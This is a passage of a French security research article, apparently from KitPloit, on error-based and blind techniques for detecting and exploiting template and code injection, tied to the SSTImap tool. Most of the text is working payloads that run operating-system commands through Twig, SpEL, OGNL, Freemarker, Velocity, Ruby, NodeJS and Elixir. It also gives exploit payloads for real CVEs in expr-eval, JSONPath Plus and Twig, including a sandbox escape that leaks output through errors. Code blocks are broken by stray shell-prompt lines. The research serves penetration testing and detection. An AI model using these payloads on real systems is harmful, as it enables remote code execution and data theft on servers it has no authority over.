Les résultats de l'évaluation de code peuvent être obtenus en utilisant `true && eval( … )`, et le code de retour de l'exécution de commande OS peut être vérifié avec `pclose(popen( … , "wb")) == 0`

Ces payloads fonctionnent pour tous les moteurs de templates testés sauf **Twig**.
Les anciennes versions du moteur de templates Twig nous permettent d'utiliser un payload comme celui-ci :```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("…&& echo SSTIMAP")|trim('\n') ends with "SSTIMAP")}} 

Il est impossible d'obtenir le code de retour, donc une chaîne connue est ajoutée à la fin de la sortie en cas de succès pour être vérifiée par le moteur de templates. Une approche similaire fonctionne pour les versions plus récentes de Twig :```php {{1/({" … &&echo SSTIMAP":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "SSTIMAP")}}

root@kitploit:~
![Twig error](https://assets.kitploit.com/production/public/readmes/10936/e9e89c81e51a6f2eb646621a50f7ea1b46fac661d4d87dbdfb793ee1c0c0c01c.png)

### Java
Encore une fois, l'absence d'une méthode universelle d'évaluation du code Java nous oblige à créer des charges utiles différentes pour chaque moteur de template pris en charge.

Pour **Spring Expression Language**, j'ai utilisé la même idée qu'avant, mais cela a nécessité quelques modifications supplémentaires pour les conversions de types : `1/(( … )?1:0)+""`

L'opérateur ternaire est utilisé pour convertir le résultat en `0` ou `1`, et la concaténation d'une chaîne vide est utilisée afin d'éviter les erreurs causées par un type de retour incorrect.

Pour les charges utiles de détection, j'ai remplacé `1` par `"".getClass().forName('java.lang.Integer').valueOf('1')`, ce qui nous permet de confirmer que l'injection prend en charge le code **Java**.

Pour mes deux paires de charges utiles de détection, j'ai utilisé de simples additions d'entiers, en vérifiant le débordement d'entiers dans la deuxième paire.

L'exécution de commandes OS a été vérifiée en comparant le code de retour de la fonction `waitFor()` avec zéro :```java
"".getClass().forName('java.lang.Runtime').getRuntime().exec(" … ").waitFor()==0

Ces payloads fonctionneraient également pour d'autres langages d'expressions similaires. Pour s'assurer que nous avons une injection SpEL, nous pouvons les remplacer par des payloads spécifiques à SpEL : T(java.lang.Integer).valueOf('1') et T(java.lang.Runtime).getRuntime().exec("…").waitFor()==0

SpEL error

Les payloads pour les expressions OGNL sont similaires aux payloads SpEL. J'ai utilisé les mêmes paires de payloads avec des additions d'entiers ainsi que le même oracle : 1/((…)?1:0)+""

La syntaxe OGNL peut être confirmée en remplaçant 1 par @java.lang.Integer@valueOf('1')

De la même manière qu'avec SpEL, vous pouvez obtenir le code de retour des commandes OS en utilisant waitFor() :```java @java.lang.Runtime@getRuntime().exec("…").waitFor()==0

root@kitploit:~
Il convient également de mentionner que **OGNL** a une manière inhabituelle de convertir implicitement les types.
Outre l'ordre des opérations, les valeurs calculées précédemment affectent également les conversions.
Alors qu'une charge utile comme `1 * (123 + 456) + "abc" + 1 * (123 + 456)` donnera le résultat attendu `"579abc579"`, une charge utile similaire `(123 + 456) + "abc" + (123 + 456)` commencera à convertir les entiers en chaînes, renvoyant `"579abc123456"`

![OGNL error](https://assets.kitploit.com/production/public/readmes/10936/829054aaeaae0f907897da75c55fa91efe0ae24ee029416675d3812e29a2bc8f.png)

La charge utile principale pour **Freemarker** a déjà été créée par Nicolas Verdier [^10]:```java
${1/((…)?string('1','0')?eval)}

Des paires de payload simples ont été utilisées pour la détection, car le moteur de template est déjà confirmé par la syntaxe du payload principal :

  • 1.0 == 1.0 et 1.0 == 0.1
  • 2 > 1 et 1 > 2

Pour vérifier les résultats de l'exécution de commandes OS, j'ai décidé d'utiliser une technique précédemment utilisée pour Twig :```java "freemarker.template.utility.Execute"?new()(" … && echo SSTIMAP")?chop_linebreak?ends_with("SSTIMAP")

root@kitploit:~
![Freemarker error](https://assets.kitploit.com/production/public/readmes/10936/7f9f4c5cbe3be9e222573b081dea6baccb809725ba890899f76741fe4b820f08.png)

Pour le moteur de template Velocity, nous pouvons utiliser les directives `#if` et `#include` :

- `#if(false)#include("Y:/A:/true")#end` et `#if(true)#include("Y:/A:/false")#end`
- `#set($o=1.0)#if($o.equals(0.1))#include("Y:/A:/xxx")#end` et `#set($o=1.0)#if($o.equals(1.0))#include("Y:/A:/xxx")#end`

Pour vérifier l'exécution de commandes OS, nous pourrions modifier une payload régulière pour l'injection rendue :```java
…#set($res=$proc.exitValue())#if($res != 0)#include("Y:/A:/xxx")#end

Velocity error

Ruby

En Ruby, il n'existe pas de moyen direct de convertir des valeurs d'entier en booléen. Cela rend la charge utile un peu plus complexe : 1/(!!( ... )&&1||0)

Ces paires de charges utiles pourraient être utilisées pour confirmer l'injection Ruby :

  • (2 + 3).to_s == '5' et (2 + 5).to_s == '3'
  • '2'.length == 1 et '1'.length == 2

Les résultats d'évaluation de code pourraient être vérifiés en utilisant !!eval( ... ), tandis que le succès des commandes OS exécutées pourrait être vérifié en utilisant system( … ) qui n'est pas utilisé pour les injections rendues, car il ne retourne pas la sortie elle-même.

NodeJS

Dans NodeJS, la division par zéro ne produit pas d'erreur, donc la charge utile utilise plutôt l'accès aux attributs soit de undefined ou de l'élément existant d'une liste : [""][0 + !( … )]["length"]

Ces deux paires sont utilisées pour confirmer NodeJS comme langage injecté :

  • typeof(1) + 2 == "number2" et typeof(2) + 1 == "number2"
  • parseInt("5x") == 5 et parseInt("x5") == 5

L'évaluation de code pourrait être vérifiée directement en utilisant eval(), et le code de retour des commandes OS exécutées pourrait être vérifié dans NodeJS version 5.7 et supérieure en utilisant cette charge utile :```node require('child_process').spawnSync( … , options={shell:true}).status===0

root@kitploit:~
### Elixir
**Elixir** permet d'utiliser la division par zéro comme oracle, mais nécessite une conversion explicite en entier.
Par conséquent, nous pouvons utiliser le payload : `1/(( … )&&1||0)`

Nous pouvons vérifier la syntaxe **Elixir** avec ces paires de payloads :

- `String.length("2") == 1` et `String.length("1") == 2`
- `is_boolean(false) == true` et `is_boolean(true) == false`

La vérification des résultats d'évaluation de code de `eval()` et la comparaison du code de retour des commandes OS peuvent être effectuées directement en utilisant ces payloads : `elem(Code.eval_string( … ), 0)` et `elem(System.shell( … ), 1) == 0`

### Generic Detection
Tous les langages de programmation ont leurs propres noms de fonctions, il est donc impossible de trouver une fonction qui fonctionnerait pour une détection générique.
Malgré cela, presque tous les langages utilisent exactement la même syntaxe pour les opérations mathématiques de base.
Cela nous permet d'utiliser les erreurs de syntaxe pour la détection générique :

- `(3*4/2)` et `3*)2(/4`
- `((7*8)/(2*4))` et `7)(*)8)(2/(*4`

Cette méthode de détection générique pour l'injection de code et les SSTI pourrait être automatisée sans avoir besoin d'ajouter séparément la prise en charge de tous les langages de programmation et moteurs de templates, ce qui étend les possibilités de détection rapide de l'injection de code et des SSTI en utilisant une approche boîte noire.

![EEx injection detected by SSTImap using generic detection payload](https://assets.kitploit.com/production/public/readmes/10936/afb92860458978f4b8b74ec62dade318c4777f4833fa4896d3251476e41ffe46.png)

### Payload Development
Pour créer des payloads après avoir détecté une injection aveugle, nous pourrions vérifier les erreurs courantes de division par zéro ou d'accès à des éléments absents des listes ou dictionnaires.
De plus, pour les moteurs de templates connus, nous pouvons utiliser des instructions `if` pour déclencher des erreurs arbitraires de manière conditionnelle.

Pour la détection automatisée, des paires de payloads pourraient être créées en utilisant des noms de fonctions uniques, des fonctionnalités de syntaxe ou des conversions de type implicites.

Pour convertir les valeurs vers le type souhaité, nous pouvons utiliser des fonctions de conversion spécifiques ou en utilisant une opération typique du type souhaité (ajouter 0 pour les nombres, concaténer une chaîne vide pour les chaînes, utiliser le ET logique avec `true` pour les booléens, etc.). De plus, les valeurs peuvent être converties en booléen en utilisant la double négation, puis en entier en utilisant des conditions comme l'opérateur ternaire.

Pour vérifier le succès de l'exécution d'une commande OS, nous pouvons comparer le code de sortie à zéro ou vérifier que la sortie se termine par une chaîne que nous avons fournie.

## Practical Application
Toutes les techniques et payloads développés au cours de cette recherche ont été ajoutés à l'outil open-source SSTImap pour une application pratique.
De plus, j'ai appliqué ces techniques à mes propres tâches, ce qui m'a permis d'obtenir le résultat dans la plupart des cas, ce qui a servi de pistes pour cette recherche.

Parmi ces cas, on trouve des exemples de test d'applications web réelles, ainsi que des payloads qui étendent les capacités d'exploitation de vulnérabilités connues.

### expr-eval (CVE-2025-13204)
Le premier exemple d'application des nouvelles techniques à une cible réelle était la vulnérabilité d'injection de code dans un constructeur de bot populaire pour Discord.
L'un des tags du moteur de templates permettait l'évaluation d'expressions mathématiques utilisant un module NodeJS vulnérable appelé **expr-eval**, mais le résultat était converti en entier, ce qui m'a initialement empêché d'accéder au résultat du code injecté.

J'ai modifié le payload connu pour accéder au constructeur de fonctions sans casser la syntaxe du moteur de templates utilisé pour déclencher la fonctionnalité vulnérable.
Après cela, j'ai appliqué la technique basée sur les erreurs et utilisé `require()` pour déclencher une erreur contenant les résultats d'exécution de code :```node
{ ███████[ Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptor( Object.getPrototypeOf(a), 'constructor'); c=d.value; f=c("return process.mainModule.require( process.mainModule.require('child_process').execSync('id').toString())"); f() ] }

expr-eval error containing the results

Dans ce cas, la technique Error-Based m'a permis d'obtenir la sortie d'une injection de code aveugle dans une application réelle que je testais à l'époque.

Une charge utile pour l'exploitation de l'injection de code dans le module expr-eval pour NodeJS a été ajoutée en tant que module supplémentaire pour SSTImap, qui peut être installé en plus. Ce module contient des charges utiles pour les quatre techniques d'exploitation d'injection de code prises en charge par SSTImap.

JSONPath Plus (CVE-2025-1302)

Un autre exemple d'application pratique des nouvelles techniques est la capacité d'exploiter CVE-2025-1302 sans les limitations causées par le contexte d'injection. Les premières charges utiles pour l'injection rendue définissaient les attributs de l'objet racine, mais cette approche empêchait l'exploitation rendue dans de nombreux contextes d'injection et nécessitait de deviner les autres.

Grâce aux techniques Error-Based, la sortie est devenue obtenable dans tous les contextes en cas de sortie d'erreur verbeuse. L'utilisation de la technique aveugle booléenne Error-Based a permis une exploitation plus efficace des injections aveugles et a ouvert les possibilités d'exfiltration rapide de données.

Twig (CVE-2022-23614)

Les versions vulnérables du moteur de templates Twig permettent l'évasion du bac à sable en passant une chaîne contenant le nom d'une fonction PHP en paramètre du filtre |sort. Ce filtre convertit la sortie de la fonction en un nombre qui détermine le nouvel ordre de deux éléments dans le tableau.

En PHP, la fonction system() ne renvoie que la première chaîne de la sortie, mais cela suffit pour affecter le nombre résultant et l'ordre des éléments du tableau, montrant si notre commande système s'est exécutée avec succès. Nous pouvons comparer le premier élément avec la valeur attendue pour déterminer si les éléments ont échangé leurs places, et comprendre quel nombre notre commande a produit. En conséquence, nous obtenons cette charge utile :```php {% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %} {{ 1 / ([" … >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }}

root@kitploit:~
Cette fois, le Blind par Erreur Booléenne étend les capacités de contournement de sandbox aveugle dans le moteur de template **Twig**, permettant potentiellement une extraction bit par bit de la sortie.

On peut également remarquer que les fonctions PHP comme `system()` et `passthru()` affichent les résultats directement sur la page, ce qui permet de les intercepter en utilisant `ob_start()`.

Comme second argument, `ob_start()` accepte le nom de la fonction qui serait appelée avec notre sortie en argument.
Cela nous permet d'utiliser `call_user_func()` pour l'exfiltration de sortie par erreur (Error-Based).

Pour appeler notre fonction et déclencher une erreur, nous devons déclencher `ob_end_flush()` sans arguments.
Pour ce faire, nous pouvons utiliser `call_user_func_array()` avec un tableau vide.
Notre payload final :```php
{% set a = ["error_reporting", "1"]|sort("ini_set") %}
{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}
{{ ["ls", 0]|sort("system") }}
{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%}

Dust.JS

De plus, je souhaite mentionner les payloads pour le moteur de templates Dust.JS. Les techniques aveugles basées sur les erreurs et booléennes avec des payloads basés sur les injections de code pour NodeJS permettent une exploitation plus efficace de l'injection aveugle de templates (SSTI), ainsi que l'obtention des résultats lorsque la sortie d'erreur détaillée est présente sur le site cible.

Ensuite, j'ai décidé de rechercher la possibilité d'obtenir un résultat lors de l'injection rendue en ajoutant une variable dans le contexte du template. Initialement, j'ai essayé d'utiliser la pollution de prototype, mais cela a provoqué des erreurs lors de la génération dynamique de code, j'ai donc dû trouver l'objet de contexte pour injecter la nouvelle variable. Pour ce faire, j'ai appliqué la technique basée sur les erreurs et examiné les variables globales.

J'ai trouvé une variable appelée context, qui avait un attribut appelé global contenant les variables passées au template. L'ajout d'un nouvel attribut de context.global m'a permis d'obtenir le résultat :```node {@if cond="context.global.sstimap='test'"}{/if}{sstimap}

root@kitploit:~
Cet exemple montre la possibilité d'utiliser la technique Error-Based pour examiner le contexte d'injection lors du développement des payloads en utilisant l'approche boîte noire.

## Conclusions
Dans le cadre de cette recherche, deux nouvelles techniques d'injection de code et de SSTI ont été développées.
L'utilisation de la technique **Error-Based** permet d'accéder aux résultats d'injection aveugle si des messages d'erreur détaillés sont affichés à l'utilisateur.
La technique **Boolean Error-Based Blind** accélère considérablement l'exploitation des injections aveugles, car elle élimine les délais couramment utilisés avec la technique **Time-Based Blind**.

Des payloads ont été créés pour les deux nouvelles techniques, permettant l'exploitation de l'injection de code et de la SSTI dans six langages de programmation.

De plus, des payloads contextuels pour la détection générique de l'injection de code et de la SSTI ont été introduits, permettant ainsi une détection automatisée des injections aveugles sans avoir à tester tous les langages possibles, ce qui était auparavant considéré comme impossible.

Les techniques démontrées prouvent l'importance de documenter toutes les techniques d'exploitation connues, même pour des vulnérabilités apparemment évidentes.
Une approche similaire a été utilisée depuis longtemps dans les techniques d'injection SQL, mais pendant 10 ans depuis la découverte de la SSTI, il n'y a eu aucune mention de la technique **Error-Based** et aucun payload documenté.
L'injection de code en elle-même n'a quasiment aucune documentation, ce qui a empêché la découverte de nouvelles techniques fondamentales.

Cette recherche a prouvé le potentiel de découvrir de nouvelles techniques même pour des vulnérabilités bien connues.
Pour un développement plus efficace des techniques, un référentiel de connaissances contenant des techniques et astuces pour les chercheurs devrait être créé, ce qui permettrait de documenter les connaissances sur le développement de payloads et les fonctionnalités inhabituelles de différents systèmes, même si ces connaissances n'ont pas d'utilisation directe pour l'exploitation du système.

En conclusion, je souhaite mentionner des directions prometteuses pour de futures recherches.
Une amélioration majeure pour les techniques **Boolean Error-Based Blind** et **Time-Based Blind** serait les payloads pour l'exfiltration bit par bit de la sortie, à l'instar des techniques correspondantes pour l'injection SQL.
De plus, la recherche des possibilités de test **OAST** et l'application de la technique **Time-Based Blind** en utilisant les fonctionnalités des moteurs de templates supprimerait la dépendance de ces techniques vis-à-vis du système d'exploitation et des binaires disponibles sur le serveur cible.

## Références
[^1]: https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf
[^2]: https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf
[^3]: https://github.com/vladko312/SSTImap
[^4]: https://github.com/vladko312/extras
[^5]: https://github.com/epinna/tplmap/
[^6]: https://github.com/linkedin/dustjs/wiki/Dust-Tutorial
[^7]: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
[^8]: https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456
[^9]: https://github.com/sqlmapproject/sqlmap/wiki/Techniques
[^10]: https://gist.github.com/n1nj4sec/5e3fffdfa322f4c23053359fc8100ab9
Télécharger l’outil